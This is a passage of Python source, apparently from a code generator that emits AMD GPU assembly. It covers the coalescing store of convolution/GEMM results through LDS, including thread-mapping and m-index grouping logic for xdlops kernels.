self._emit(f"; coalescing_groups:{ctrl.coalescing_groups}, num_dword_per_group:{ctrl.get_num_dword_per_group()}")
self._emit(f"; coalescing_groups_in_m_repeat:{g_mr}, group_length_in_m_repeat:{l_mr}, coalescing_groups_in_m_per_thread:{g_m0}, group_length_in_m_per_thread:{l_m0}")
# emit some pre index
if ctrl.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M1_M0 and s_gemm_m0_stride is not None:
self._emit(f"s_mul_i32 s[{s_thread_m_stride()}], {thread_m_stride}, s[{s_gemm_m0_stride}] ; init per thread stride in m dimension")
else:
self._emit(f"s_mul_i32 s[{s_thread_m_stride()}], {thread_m_stride}, s[{s_gemm_m1_stride}] ; init per thread stride in m dimension")
for i_group in range(ctrl.coalescing_groups):
m_index_start_per_group = m_index_per_group[i_group][0][0]
m0_index_start_per_group, m1_index_start_per_group = ctrl.get_m0_m1_index(m_index_start_per_group)
c_group_start_index = i_group * l_mr * l_m0 * ctrl.ctm.t_n0() * ctrl.ctm.t_nr()
current_m_index = m_index_per_group[i_group]
self._emit(f"; start group {i_group}, m index start from {m_index_start_per_group}")
self._emit(f"s_barrier")
for i_sub_length in range(l_mr * l_m0):
c_sub_start_index = c_group_start_index + i_sub_length * ctrl.ctm.t_n0() * ctrl.ctm.t_nr()
sst_offset = i_sub_length * ctrl.ctm.n_n_total() * data_byte
self._emit(inst_sst(v_co_sst(), v_c(c_sub_start_index), sst_offset))
self._emit(f"s_waitcnt lgkmcnt(0)")
self._emit(f"s_barrier")
self._emit(f"; load from lds")
issue_list = []
for i_d in range(ctrl.get_num_dword_per_group() // (2 * ctrl.vector_write_out)):
c_sub_start_index = c_group_start_index + i_d * 2 * ctrl.vector_write_out
sld_offset = i_d * 2 * ctrl.block_size * ctrl.vector_write_out * data_byte
self._emit(inst_sld(v_c(c_sub_start_index), v_co_sld(), sld_offset))
issue_list.append(inst_sld.get_issues(sld_offset))
if v_store_flag is not None and type(v_store_flag) is str:
self._emit(f"v_cmpx_eq_u32 vcc, 1, v[{v_store_flag}]")
#self._emit(f"s_cbranch_execz {label_prefix}_co_{i_group}")
self._emit(f"; store to global, m index start from {m_index_start_per_group}, m0:{m0_index_start_per_group}, m1:{m1_index_start_per_group}")
if s_gemm_m0_stride is not None:
self._emit(f"s_mul_i32 s[{s_tmp4(2)}], {m0_index_start_per_group}, s[{s_gemm_m0_stride}]")
self._emit(f"s_mul_i32 s[{s_tmp4(3)}], {m1_index_start_per_group}, s[{s_gemm_m1_stride}]")
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_tmp4(2)}], s[{s_tmp4(3)}]")
else:
if m_index_start_per_group == 0:
if no_s_out_offset:
self._emit(f"s_mov_b32 s[{s_out_offset_itr()}], 0")
else:
self._emit(f"s_mov_b32 s[{s_out_offset_itr()}], s[{s_out_offset}]")
elif m_index_start_per_group == 1:
if no_s_out_offset:
self._emit(f"s_mov_b32 s[{s_out_offset_itr()}], s[{s_gemm_m1_stride}]")
else:
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_gemm_m1_stride}], s[{s_out_offset}]")
else:
if no_s_out_offset:
self._emit(f"s_mul_i32 s[{s_out_offset_itr()}], {m_index_start_per_group}, s[{s_gemm_m1_stride}]")
else:
self._emit(f"s_mul_i32 s[{s_tmp4(3)}], {m_index_start_per_group}, s[{s_gemm_m1_stride}]")
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_tmp4(3)}], s[{s_out_offset}]")
i_m0_start, i_m1_start = m0_index_start_per_group, m1_index_start_per_group
for i_gst in range(ctrl.get_num_dword_per_group() // ctrl.vector_write_out):
if i_gst % 2 == 0:
i_issues = (i_gst // 2) + 1
i_issue_list = issue_list[i_issues:]
i_issue_cnt = utility_flatten_list_accumulate(i_issue_list) if len(i_issue_list) != 0 else 0
self._emit(f"s_waitcnt lgkmcnt({i_issue_cnt})")
# vdata, vaddr, srsrc, soffset, offset
self._emit(inst_gst(v_c(c_group_start_index + i_gst*ctrl.vector_write_out), v_out_offset, s_p_out, s_out_offset_itr(), 0))
if i_gst != (ctrl.get_num_dword_per_group() // ctrl.vector_write_out) - 1:
if s_gemm_m0_stride is not None:
i_m = m_index_per_group[i_group][0][i_gst+1]
i_m0, i_m1 = ctrl.get_m0_m1_index(i_m)
self._emit(f"; im:{i_m}, i_m0:{i_m0}, i_m1:{i_m1}")
if ctrl.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
if i_m0 > i_m0_start:
i_m0_start = i_m0
# m0 accumulate
self._emit(f"s_mul_i32 s[{s_tmp4(2)}], {i_m0}, s[{s_gemm_m0_stride}]")
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_tmp4(2)}], s[{s_tmp4(3)}]")
else:
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_thread_m_stride()}], s[{s_out_offset_itr()}]")
else:
if i_m1 > i_m1_start:
i_m1_start = i_m1
# m1 accumllate
self._emit(f"s_mul_i32 s[{s_tmp4(3)}], {i_m1}, s[{s_gemm_m1_stride}]")
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_tmp4(2)}], s[{s_tmp4(3)}]")
else:
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_thread_m_stride()}], s[{s_out_offset_itr()}]")
else:
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_thread_m_stride()}], s[{s_out_offset_itr()}]")
if v_store_flag is not None and type(v_store_flag) is str:
self._emit(f"s_mov_b64 exec, -1")
return self._get_deferred()
class ctrl_coalescing_store_xdlops_t(object):
def __init__(self):
self.cxm = None # ctrl_xdlops_mapping_t
self.coalescing_groups = 1
self.block_size = 256
self.vector_write_out = 1
self.precision = 'fp32'
self.accvgpr_unified = False # agpr unified in gfx90a
self.gemm_m_order = IGEMM_COALESCING_GEMM_M_ORDER_M0_M1
self.gemm_m_m0_m1 = []
self.gemm_k_global_split = False
self.feat_vgpr_collapse = True
self.accvgpr_unified = False
self.co_m_update_os_functor = None # update offset based on current i_m. otherwise use sgpr to update offset
self.feat_co_m_flag_check = False # custom flag check, not using internal check
self.co_m_flag_check_start_functor = None
self.co_m_flag_check_reset_functor = None
def adjust_optimal_coalescing_groups(self):
'''
in xdlops M1_M0 order if have better write pattern, change cgroup is quite complex.
'''
# if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M1_M0:
# cg = self.coalescing_groups
# while cg % self.ctm.t_m0() != 0:
# cg = cg * 2
# assert cg <= self.get_length_m_groups()
# self.coalescing_groups = cg
pass
def can_skip_coalescing(self):
'''
in some configuration, after LDS shuffle the data layout is the same compare with un-shuffled shape.
'''
# if self.coalescing_groups == 1 and self.cxm.wave_step_m == 1 and self.cxm.wave_step_n == 1 and \
# self.cxm.wave_repeat_m == 1 and self.cxm.wave_repeat_n == 1:
# if self.cxm.wave_tile_m == self.cxm.inst_mfma.m:
# return True
# if self.cxm.wave_tile_n == self.cxm.macro_tile_n:
# return True
return False
def get_length_m_groups(self):
''' agpr per thread in m dimension '''
return self.cxm.wave_repeat_m * self.cxm.wave_step_m * self.cxm.lanegroup_m_per_wave() * self.cxm.lanegroup_m_per_block() * self.cxm.lanegroup_m_per_thread()
def get_length_n_groups(self):
''' agpr per thread in n dimension '''
return self.cxm.wave_repeat_n * self.cxm.wave_step_n * self.cxm.lanegroup_n_per_wave() * self.cxm.lanegroup_n_per_block() * self.cxm.lanegroup_n_per_thread() # xdlops in n dimension always 1
def get_length_m_max_groups(self):
''' maximum number of agpr along m dimension per thread can be divided into groups.
but consider LDS load/store, we want to utilize the fact that every lanegroup is a 4x64 matrix,
which might be distributed along multiple blocks (like 4x4x1), or every block contains multiple lanegroups(like 16x16x1, 32x32x1)
henve in m dimension there always have a granularity of 4 per thread, that is continuous along m dimension.
we want to use a single ds_write_b128/ds_read_b128 to deal with this granularity (which implies a transpose)
hence we do not want split inside the "4" granularity within a thread
'''
return self.get_length_m_groups() // (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if self.vector_write_out == 1 else 1)
def get_subgroups(self):
def split_ndim_length(total_length, dim_lengths):
assert type(dim_lengths) in (list, tuple)
length = total_length
split_length = list()
for d in dim_lengths:
s = math.gcd(d, length)
length = length // s
split_length.append(s)
return tuple(split_length)
# assert self.get_length_m_groups() % self.coalescing_groups == 0, \
# f"if coalescing groups:{self.coalescing_groups} larger than single xdlops agpr number along m:{self.get_length_m_groups()}, can not do this split"
assert self.get_length_m_max_groups() % self.coalescing_groups == 0, \
f"if coalescing groups:{self.coalescing_groups} larger than maximum single xdlops agpr(divided by 4) number along m:{self.get_length_m_max_groups()}, can not do this split"
l_mg = self.get_length_m_groups()
l_ng = self.get_length_n_groups()
num_m_groups = math.gcd(self.coalescing_groups, l_mg)
num_n_groups = math.gcd(self.coalescing_groups//num_m_groups, l_ng)
assert num_n_groups == 1, "if have multiple groups along n dimension, coalesing is meaningless"
# for lanegroup_per_cluster, since within thread will not contain this, so must specify this to 1
split_m_lengths = (self.cxm.wave_repeat_m, self.cxm.wave_step_m, \
self.cxm.lanegroup_m_per_wave(), self.cxm.lanegroup_m_per_block(), self.cxm.lanegroup_m_per_thread())
g_mr, g_ms, g_mw, g_mb, g_mt = split_ndim_length(num_m_groups, split_m_lengths)
assert g_mt == 1, 'we do not want to split inside this granularity within a thread'
return g_mr, g_ms, g_mw, g_mb, g_mt # groups in m_repeat, m_step, lanegroup_m_per_wave, lanegroup_m_per_block, lanegroup_m_per_thread
def get_subgroup_length(self):
g_mr, g_ms, g_mw, g_mb, g_mt = self.get_subgroups()
# self.cxm.wave_repeat_m, self.cxm.wave_step_m, self.cxm.lanegroup_m_per_wave(), self.cxm.lanegroup_m_per_block(), self.cxm.lanegroup_m_per_thread()
l_mr = self.cxm.wave_repeat_m // g_mr
l_ms = self.cxm.wave_step_m // g_ms
l_mw = self.cxm.lanegroup_m_per_wave() // g_mw
l_mb = self.cxm.lanegroup_m_per_block() // g_mb
l_mt = self.cxm.lanegroup_m_per_thread() // g_mt
return l_mr, l_ms, l_mw, l_mb, l_mt
def get_transposed_thread_mapping(self):
# xdlops need transfer agpr to vgpr, then do LDS shuffle
# here we still use legacy thread mapping to describe
# assert self.vector_write_out == 1
n_n_total = self.cxm.macro_tile_n
n_m_total = self.cxm.macro_tile_m
assert self.cxm.waves * AMDGPU_WAVE_SIZE % n_n_total == 0, f"waves:{self.cxm.waves}, n_n_total:{n_n_total}, cxm:{self.cxm.serialize()}"
trans_t_n0 = self.vector_write_out
trans_c_n0 = n_n_total // trans_t_n0
trans_t_m0 = AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if self.vector_write_out == 1 else 1
trans_c_m0 = self.block_size // trans_c_n0
trans_t_n1 = 1
trans_c_n1 = 1
assert n_m_total % (trans_t_m0 * trans_c_m0) == 0
trans_t_m1 = n_m_total // (trans_t_m0 * trans_c_m0)
trans_c_m1 = 1
trans_t_nr = 1
trans_c_nr = 1
trans_t_mr = 1
trans_c_mr = 1
transposed_thread_mapping = ctrl_thread_mapping_t()
transposed_thread_mapping.thread_lengths = [trans_t_mr, trans_t_nr, trans_t_m1, trans_t_n1, trans_t_m0, trans_t_n0]
transposed_thread_mapping.cluster_lengths = [trans_c_mr, trans_c_nr, trans_c_m1, trans_c_n1, trans_c_m0, trans_c_n0]
return transposed_thread_mapping
#def get_thread_m_stride(self):
# ttm = self.get_transposed_thread_mapping()
# assert ttm.t_m0() == 1
# g_mr, g_ms, g_mw, g_mb, g_mt = self.get_subgroups()
# l_mr, l_ms, l_mw, l_mb, l_mt = self.get_subgroup_length()
# # do some assert
# if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
# m_index_per_group = self.get_m_index_per_group()
# thread_m_stride = g_m0 * ttm.n_m0()
# else:
# m_index_per_group = self.get_m_index_per_group_m1_m0()
# thread_m_stride = -1
# for ig in range(len(m_index_per_group)):
# for ic in range(len(m_index_per_group[ig])):
# _list = m_index_per_group[ig][ic]
# for idx in range(len(_list) - 1):
# diff_m = _list[idx+1] - _list[idx]
# if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
# assert diff_m == thread_m_stride, f"diff_m:{diff_m}, thread_m_stride:{thread_m_stride}"
# else:
# if thread_m_stride == -1:
# thread_m_stride = diff_m
# assert diff_m == thread_m_stride, f"diff_m:{diff_m}, thread_m_stride:{thread_m_stride}"
# return thread_m_stride
def get_num_dword_per_group(self):
assert self.cxm.total_acc_c() % self.coalescing_groups == 0, \
f"total_acc_c:{self.cxm.total_acc_c()}, coalescing_groups:{self.coalescing_groups}, m_groups:{self.get_length_m_groups()}, inst:{self.cxm.inst_mfma.m}x{self.cxm.inst_mfma.n}x{self.cxm.inst_mfma.k}"
return self.cxm.total_acc_c() // self.coalescing_groups
def get_sub_m0_offset(self, i_c_m0):
ttm = self.get_transposed_thread_mapping()
assert ttm.t_m0() == 1
g_mr, g_ms, g_m0, g_nr, g_ns, g_n0 = self.get_subgroups()
assert g_m1 == 1
sub_m0_offset = ((i_c_m0 >> int(math.log2(g_m0))) << self.ctm.t_m0()) | (i_c_m0 & (g_m0 - 1))
return sub_m0_offset
#print(" i_c_m0 >> utility_log2(g_m0) << self.t_m0 i_c_m0 & (g_m0 - 1) ")
def get_m0_m1_index(self, m_index):
assert len(self.gemm_m_m0_m1) != 0
m0, m1 = self.gemm_m_m0_m1[0], self.gemm_m_m0_m1[1]
# print(f"m0:{m0}, m1:{m1}")
assert m_index < m0 * m1, f"m_index:{m_index} larger than gemm_m_m0_m1:{self.gemm_m_m0_m1}, please check"
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
return m_index // m1, m_index % m1
else:
return m_index % m0, m_index // m0
def get_m_index_per_group(self):
'''
get m index after LDS shuffle
'''
def flatten(x):
from functools import reduce
return reduce(lambda a, b: a*b, x, 1)
num_dword_per_group = self.get_num_dword_per_group()
g_mr, g_ms, g_mw, g_mb, g_mt = self.get_subgroups()
l_mr, l_ms, l_mw, l_mb, l_mt = self.get_subgroup_length()
assert num_dword_per_group == (l_mr * l_ms * l_mw * l_mb * l_mt) * flatten(self.cxm.acc_c_per_thread_n()), \
f"num_dword_per_group:{num_dword_per_group}, l_mr:{l_mr}, l_ms:{l_ms}, l_mw:{l_mw}, l_mb:{l_mb}, l_mt:{l_mt} x acc_c_per_thread_n:{self.cxm.acc_c_per_thread_n()}"
# print(f"mr:{g_mr}x{l_mr}x{self.cxm.wave_repeat_m}, ms:{g_ms}x{l_ms}x{self.cxm.wave_step_m}, mw:{g_mw}x{l_mw}x{self.cxm.lanegroup_m_per_wave()}, mb:{g_mb}x{l_mb}x{self.cxm.lanegroup_m_per_block()}, mt:{g_mt}x{l_mt}x{self.cxm.lanegroup_m_per_thread()}")
ttm = self.get_transposed_thread_mapping()
m_index_per_group = list()
m_index_total = list()
# for i_g_mr in range(g_mr):
# for i_g_ms in range(g_ms):
# for i_g_mw in range(g_mw):
# for i_g_mb in range(g_mb):
# for i_g_mt in range(g_mt):
# m_idx_start_per_group = i_g_mr * l_mr * self.cxm.wave_step_m * self.cxm.wave_tile_m * self.cxm.waves_per_m() + \
# i_g_ms * l_ms * self.cxm.wave_tile_m + \
# i_g_mw * l_mw * self.cxm.lanegroup_m_per_block() * self.cxm.lanegroup_m_per_cluster() * self.cxm.lanegroup_m_per_thread() + \
# i_g_mb * l_mb * self.cxm.lanegroup_m_per_cluster() * self.cxm.lanegroup_m_per_thread() + \
# i_g_mt * l_mt
# # print(f"m_idx_start_per_group:{m_idx_start_per_group}")
# m_index = []
# for t_along_waves_per_m in range(self.cxm.waves_per_m()):
# for t_along_block_m_per_lanegroup in range(self.cxm.block_m_per_lanegroup()):
# for t_along_lanegroup_m_per_cluster in range(self.cxm.lanegroup_m_per_cluster()):
# m_idx_start = m_idx_start_per_group + t_along_waves_per_m * self.cxm.wave_step_m * self.cxm.wave_tile_m + \
# t_along_block_m_per_lanegroup * self.cxm.lanegroup_m_per_thread() * self.cxm.lanegroup_m_per_cluster() +\
# t_along_lanegroup_m_per_cluster * self.cxm.lanegroup_m_per_thread()
# for i_mr in range(l_mr):
# for i_ms in range(l_ms):
# for i_mw in range(l_mw):
# for i_mb in range(l_mb):
# for i_mt in range(l_mt):
# m_idx_current = m_idx_start + i_mr * self.cxm.wave_step_m * self.cxm.wave_tile_m * self.cxm.waves_per_m() + \
# i_ms * self.cxm.wave_tile_m + \
# i_mw * self.cxm.lanegroup_m_per_block() * self.cxm.lanegroup_m_per_cluster() * self.cxm.lanegroup_m_per_thread() + \
# i_mb * self.cxm.lanegroup_m_per_cluster() * self.cxm.lanegroup_m_per_thread() + \
# i_mt
# m_index.append(m_idx_current)
# m_index.sort()
# m_index_total.extend(m_index)
# pixel_m_index = [None] * ttm.c_m0()
# for i, m in enumerate(m_index):
# _icm0 = (i // ttm.t_m0()) % ttm.c_m0() # NOTE! here is m granularity take place
# if not pixel_m_index[_icm0]:
# pixel_m_index[_icm0] = list()
# pixel_m_index[_icm0].append(m)
# m_index_per_group.append(pixel_m_index)
for i_g_mr, i_g_ms, i_g_mw, i_g_mb, i_g_mt in itertools.product(range(g_mr), range(g_ms), range(g_mw), range(g_mb), range(g_mt)):
m_idx_start_per_group = i_g_mr * l_mr * self.cxm.wave_step_m * self.cxm.wave_tile_m * self.cxm.waves_per_m() + \
i_g_ms * l_ms * self.cxm.wave_tile_m + \
i_g_mw * l_mw * self.cxm.lanegroup_m_per_block() * self.cxm.lanegroup_m_per_cluster() * self.cxm.lanegroup_m_per_thread() + \
i_g_mb * l_mb * self.cxm.lanegroup_m_per_cluster() * self.cxm.lanegroup_m_per_thread() + \
i_g_mt * l_mt
m_index = []
for t_along_waves_per_m, t_along_block_m_per_lanegroup, t_along_lanegroup_m_per_cluster in itertools.product(
range(self.cxm.waves_per_m()), range(self.cxm.block_m_per_lanegroup()), range(self.cxm.lanegroup_m_per_cluster())):
m_idx_start = m_idx_start_per_group + t_along_waves_per_m * self.cxm.wave_step_m * self.cxm.wave_tile_m + \
t_along_block_m_per_lanegroup * self.cxm.lanegroup_m_per_thread() * self.cxm.lanegroup_m_per_cluster() +\
t_along_lanegroup_m_per_cluster * self.cxm.lanegroup_m_per_thread()
for i_mr, i_ms, i_mw, i_mb, i_mt in itertools.product(range(l_mr), range(l_ms), range(l_mw), range(l_mb), range(l_mt)):
m_idx_current = m_idx_start + i_mr * self.cxm.wave_step_m * self.cxm.wave_tile_m * self.cxm.waves_per_m() + \
i_ms * self.cxm.wave_tile_m + \
i_mw * self.cxm.lanegroup_m_per_block() * self.cxm.lanegroup_m_per_cluster() * self.cxm.lanegroup_m_per_thread() + \
i_mb * self.cxm.lanegroup_m_per_cluster() * self.cxm.lanegroup_m_per_thread() + \
i_mt
m_index.append(m_idx_current)
m_index.sort()
m_index_total.extend(m_index)
pixel_m_index = [None] * ttm.c_m0()
for i, m in enumerate(m_index):
_icm0 = (i // ttm.t_m0()) % ttm.c_m0() # NOTE! here is m granularity take place
if not pixel_m_index[_icm0]: pixel_m_index[_icm0] = list()
pixel_m_index[_icm0].append(m)
m_index_per_group.append(pixel_m_index)
m_index_total.sort()
# print(m_index_total)
assert m_index_total == [xx for xx in range(self.cxm.macro_tile_m)], f"len:{len(m_index_total)}, {m_index_total}"
# do some validation
for ig in range(len(m_index_per_group)):
if len(m_index_per_group[ig]) == 1:
continue
for ic in range(len(m_index_per_group[ig]) - 1):
c_curr_list = m_index_per_group[ig][ic]
c_next_list = m_index_per_group[ig][ic + 1]
assert len(c_curr_list) == len(c_next_list)
diff = c_next_list[0] - c_curr_list[0]
for i in range(1, len(c_curr_list)):
diff_i = c_next_list[i] - c_curr_list[i]
assert diff == diff_i, "stride between different transpose m0 not the same, should not happen"
return m_index_per_group
def get_co_sub_m_index(self):
'''
after LDS shuffle, before store to global, now thread-mapping is inteed transposed (see get_transposed_thread_mapping)
this function try to get the m_index of the first element of each ttm.c_m0
'''
def flatten(x):
from functools import reduce
return reduce(lambda a, b: a*b, x, 1)
ttm = self.get_transposed_thread_mapping()
g_mr, g_ms, g_mw, g_mb, g_mt = self.get_subgroups()
l_mr, l_ms, l_mw, l_mb, l_mt = self.get_subgroup_length()
n_mc = self.cxm.lanegroup_m_per_cluster() # this iteration is among different thread
n_ml = self.cxm.block_m_per_lanegroup() # this iteration is among different thread
n_mv = self.cxm.waves_per_m() # this iteration is among different thread
#print("<+> g_mr:{}, g_ms:{}, g_mw:{}, g_mb:{}, g_mt:{} == l_mr:{}, l_ms:{}, l_mw:{}, l_mb:{}, l_mt:{} | n_mc:{}, n_ml:{}, n_mv:{}".format(
# g_mr, g_ms, g_mw, g_mb, g_mt, l_mr, l_ms, l_mw, l_mb, l_mt, n_mc, n_ml, n_mv))
sub_m_index = [0] * ttm.c_m0()
# for ic in range(ttm.c_m0()):
# nic = ic
# x_mc = nic % n_mc; nic = nic // n_mc
# x_ml = nic % n_ml; nic = nic // n_ml
# x_mb = nic % l_mb; nic = nic // l_mb
# x_mw = nic % l_mw; nic = nic // l_mw
# x_ms = nic % l_ms; nic = nic // l_ms
# x_mv = nic % n_mv; nic = nic // n_mv
# x_mr = nic % l_mr
# # print(" +-> x_mc:{}, x_ml:{}, x_mb:{}, x_mw:{}, x_ms:{}, x_mv:{}, x_mr:{}".format(x_mc, x_ml, x_mb, x_mw, x_ms, x_mv, x_mr))
# sub_m = x_mr * n_mv + x_mv
# sub_m = sub_m * (g_ms * l_ms) + x_ms
# sub_m = sub_m * (l_mw * g_mw) + x_mw
# sub_m = sub_m * (g_mb * l_mb) + x_mb
# sub_m = sub_m * n_ml + x_ml
# sub_m = sub_m * n_mc + x_mc
# sub_m = sub_m * 4
# sub_m_index[ic] = sub_m
'''
above for loop is simple for loop
'''
# for ic in range(ttm.c_m0()):
# sub_m = 0
# nic = ic # when this value become zero, means we no need to go further dimension
# if nic != 0:
# x_mc = nic % n_mc; nic = nic // n_mc
# if nic != 0:
# x_ml = nic % n_ml; nic = nic // n_ml
# if nic != 0:
# x_mb = nic % l_mb; nic = nic // l_mb
# if nic != 0:
# x_mw = nic % l_mw; nic = nic // l_mw
# if nic != 0:
# x_ms = nic % l_ms; nic = nic // l_ms
# if nic != 0:
# x_mv = nic % n_mv; nic = nic // n_mv
# x_mr = nic % l_mr
# # print(" +-> x_mc:{}, x_ml:{}, x_mb:{}, x_mw:{}, x_ms:{}, x_mv:{}, x_mr:{}".format(x_mc, x_ml, x_mb, x_mw, x_ms, x_mv, x_mr))
# sub_m = x_mr * n_mv + x_mv
# sub_m = sub_m * (g_ms * l_ms) + x_ms
# sub_m = sub_m * (l_mw * g_mw) + x_mw
# sub_m = sub_m * (g_mb * l_mb) + x_mb
# sub_m = sub_m * n_ml + x_ml
# sub_m = sub_m * n_mc + x_mc
# sub_m = sub_m * AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M
# sub_m_index[ic] = sub_m
'''
below is instruction-save approach
'''
for ic in range(ttm.c_m0()):
c_m0 = ttm.c_m0()
nic = ic
nd_list = list()
nd_stride = [l_mt, n_mc, n_ml, g_mb * l_mb, l_mw * g_mw, g_ms * l_ms, n_mv, 1 ]
if self.vector_write_out != 1:
if l_mt != 1 and c_m0 != 1: x_mt = nic % l_mt; nic = nic // l_mt; c_m0 = c_m0 // l_mt; nd_list.insert(0, ('x_mt', x_mt, 1))
if n_mc != 1 and c_m0 != 1: x_mc = nic % n_mc; nic = nic // n_mc; c_m0 = c_m0 // n_mc; nd_list.insert(0, ('x_mc', x_mc, flatten(nd_stride[0:1])))
if n_ml != 1 and c_m0 != 1: x_ml = nic % n_ml; nic = nic // n_ml; c_m0 = c_m0 // n_ml; nd_list.insert(0, ('x_ml', x_ml, flatten(nd_stride[0:2])))
if l_mb != 1 and c_m0 != 1: x_mb = nic % l_mb; nic = nic // l_mb; c_m0 = c_m0 // l_mb; nd_list.insert(0, ('x_mb', x_mb, flatten(nd_stride[0:3])))
if l_mw != 1 and c_m0 != 1: x_mw = nic % l_mw; nic = nic // l_mw; c_m0 = c_m0 // l_mw; nd_list.insert(0, ('x_mw', x_mw, flatten(nd_stride[0:4])))
if l_ms != 1 and c_m0 != 1: x_ms = nic % l_ms; nic = nic // l_ms; c_m0 = c_m0 // l_ms; nd_list.insert(0, ('x_ms', x_ms, flatten(nd_stride[0:5])))
if n_mv != 1 and c_m0 != 1: x_mv = nic % n_mv; nic = nic // n_mv; c_m0 = c_m0 // n_mv; nd_list.insert(0, ('x_mv', x_mv, flatten(nd_stride[0:6])))
if l_mr != 1 and c_m0 != 1: x_mr = nic % l_mr; c_m0 = c_m0 // l_mr; nd_list.insert(0, ('x_mr', x_mr, flatten(nd_stride[0:7])))
sub_m = 0
# print(f"ic:{ic}, nd_list:{nd_list}")
c_m0 = ttm.c_m0()
if self.vector_write_out != 1:
if l_mt != 1 and c_m0 != 1: sub_m = (x_mt * 1 ) | sub_m; c_m0 = c_m0 // l_mt
if n_mc != 1 and c_m0 != 1: sub_m = (x_mc * flatten(nd_stride[0:1]) ) | sub_m; c_m0 = c_m0 // n_mc
if n_ml != 1 and c_m0 != 1: sub_m = (x_ml * flatten(nd_stride[0:2]) ) | sub_m; c_m0 = c_m0 // n_ml
if l_mb != 1 and c_m0 != 1: sub_m = (x_mb * flatten(nd_stride[0:3]) ) | sub_m; c_m0 = c_m0 // l_mb
if l_mw != 1 and c_m0 != 1: sub_m = (x_mw * flatten(nd_stride[0:4]) ) | sub_m; c_m0 = c_m0 // l_mw
if l_ms != 1 and c_m0 != 1: sub_m = (x_ms * flatten(nd_stride[0:5]) ) | sub_m; c_m0 = c_m0 // l_ms
if n_mv != 1 and c_m0 != 1: sub_m = (x_mv * flatten(nd_stride[0:6]) ) | sub_m; c_m0 = c_m0 // n_mv
if l_mr != 1 and c_m0 != 1: sub_m = (x_mr * flatten(nd_stride[0:7]) ) | sub_m; c_m0 = c_m0 // l_mr
# for i in range(len(nd_list)):
# i_id = nd_list[i][1]
# i_st = nd_list[i][2]
# sub_m += i_id * i_st
# sub_m = sub_m * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if self.vector_write_out == 1 else 1)
sub_m_index[ic] = sub_m
return sub_m_index
def get_m_index_from_m1_m0(self, m_idx):
assert len(self.gemm_m_m0_m1) == 2
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
return m_idx
n_m0, n_m1 = self.gemm_m_m0_m1[0], self.gemm_m_m0_m1[1]
i_m0 = m_idx % n_m0
i_m1 = m_idx // n_m0
return i_m0 * n_m1 + i_m1
def get_m_index_per_group_m1_m0(self):
m_index_per_group = copy.copy(self.get_m_index_per_group())
if self.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
return m_index_per_group
assert len(self.gemm_m_m0_m1) == 2
assert len(m_index_per_group) == self.coalescing_groups
for ig in range(len(m_index_per_group)):
for i_cm0 in range(len(m_index_per_group[ig])):
for i_t in range(len(m_index_per_group[ig][i_cm0])):
m_index = m_index_per_group[ig][i_cm0][i_t]
m_index_per_group[ig][i_cm0][i_t] = self.get_m_index_from_m1_m0(m_index)
return m_index_per_group
def get_vgpr_usage(self):
'''
return the number of vgpr needed for coalescing store process
'''
agpr_per_store_group = self.cxm.total_acc_c() // self.coalescing_groups
if self.feat_vgpr_collapse:
data_byte = amdgpu_precision_data_byte(self.precision)
inst_sld_byte = (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if self.vector_write_out == 1 else self.vector_write_out) * data_byte
issues_per_ssgroup = 4 if inst_sld_byte == 16 or inst_sld_byte == 8 else 8
num_sld_total_dword = self.get_num_dword_per_group() // (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if self.vector_write_out == 1 else self.vector_write_out)
total_lgkmcnt = num_sld_total_dword # TODO: assume sld is single issue
assert MAX_LGKMCNT % issues_per_ssgroup == 0
# print(f"issues_per_ssgroup:{issues_per_ssgroup}, total_lgkmcnt:{total_lgkmcnt}, get_num_dword_per_group:{self.get_num_dword_per_group()}, vector_write_out:{self.vector_write_out}")
# we need further split based on issues_per_ssgroup
split_sld_groups = (total_lgkmcnt + issues_per_ssgroup - 1) // issues_per_ssgroup
agpr_per_store_split_sld_group = (agpr_per_store_group + split_sld_groups - 1) // split_sld_groups
assert agpr_per_store_split_sld_group >= 4
return agpr_per_store_split_sld_group
else:
return agpr_per_store_group
class igemm_coalescing_store_xdlops_t(mc_base_t):
def __init__(self, mc, ctrl):
mc_base_t.__init__(self, mc)
assert type(ctrl) is ctrl_coalescing_store_xdlops_t
self.ctrl = ctrl
def name(self):
return ''
def init_co_lds_offset(self, v_co_sst, v_co_sld, v_gemm_im, v_gemm_in, v_tid, v_tmp4):
ctrl = self.ctrl
data_byte = amdgpu_precision_data_byte(ctrl.precision)
g_mr, g_ms, g_mw, g_mb, g_mt = ctrl.get_subgroups()
l_mr, l_ms, l_mw, l_mb, l_mt = ctrl.get_subgroup_length()
with self._deferred_context():
self._emit(f"; init_co_lds_offset for xdlops")
'''
gemm_m_shrink is in multi-dimension.
then, consider that introduced by granularity
'''
self._emit(f"v_lshrrev_b32 v[{v_tmp4}], {utility_log2(ctrl.cxm.lanegroup_m_per_thread())}, v[{v_gemm_im}]")
self._emit(f"v_and_b32 v[{v_tmp4}], {ctrl.cxm.lanegroup_m_per_cluster() - 1} v[{v_tmp4}] ; thread id of lanegroup_m_per_cluster")
self._emit(f"v_lshlrev_b32 v[{v_co_sst}], {utility_log2(ctrl.cxm.lanegroup_m_per_thread())}, v[{v_tmp4}]")
if ctrl.cxm.block_m_per_lanegroup() != 1:
